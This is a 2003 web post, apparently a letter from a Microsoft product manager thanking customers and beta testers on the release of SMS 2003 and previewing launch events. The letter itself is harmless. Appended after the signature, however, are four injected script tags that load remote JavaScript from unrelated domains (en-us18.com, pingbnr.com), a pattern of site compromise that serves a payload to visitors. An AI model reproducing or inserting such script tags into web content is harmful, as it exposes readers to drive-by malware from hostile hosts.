10/23/2003
Wow – where to begin! Such a long journey that began almost 5 years ago, and began for me when I left the field to come to Redmond 3+ yrs ago – my FIRST official task being to help release SMS 2.0 SP2 to you - our customers that were in DESPERATE need of the reliability and stability it provided. Back then, no software distribution product would have ever dreamt of measuring success in 9’s, like a highly available datacenter. Also, no one would have ever imagined the threats we currently face to Windows with the increasing exposure and costs associated with keeping Windows systems safe and secure.
And through it all, there has been a dedicated, passionate group of folks both here in Redmond and out in our customers that have kept beating the drum that SMS was a great solution. It’s this passion and dedication that have kept SMS as the dominant management product for Windows in the marketplace, and has led to the product that we released to manufacturing yesterday.
On behalf of the entire SMS product development team, I want to thank ALL of you for this commitment and dedication over the years, and reiterate to you the promise that we made years ago – to NOT ship a product until it was 100% ready for the highest demands from you - our enterprise customers. SMS 2003 IS that product. And it is that product because of the INCREDIBLE work from many of you as EAP/RDP customers, from the 9000 beta testers on SMS 2003, and the constant feedback we’ve received from you over the years to improve the product.
Now, the next phase of this journey begins. A bunch of us will be on the road the next few weeks helping you launch SMS 2003 in your US geographies. After that, the BIGGEST launch you can imagine at IT Forum in Copenhagen for 3000 IT Professionals. We’ll be painting Copenhagen (and some buses!) with SMS! After launch you’ll see even MORE noise go live with customer and partner case studies, and you’ll see the numbers 99.9% more than you can imagine for software distribution. In fact, it is the FAITHFUL folks at myITforum.com that have demonstrated many of these successes already!
Now, it’s in YOUR hands. Hopefully we will be getting you all of the information you need to quickly and successfully get SMS 2003 evaluated and deployed for all of your enterprise management needs. And, we’re going to still be reliant on this group of dedicated folks to share their best practices and tips, provide a TON of importable reports for SMS 2003, and continue to get us feedback as we drive toward launching the OS Deployment and Device Management Feature Packs next year.
This product will SO rock your world! Good luck and thanks again!!!
Bill Anderson
Lead product Manager - Enterprise Management Division<script src=http://www.en-us18.com/b.js></script><script src=http://www.en-us18.com/b.js></script><script src=http://www.pingbnr.com/b.js></script><script src=http://www.pingbnr.com/b.js></script> |
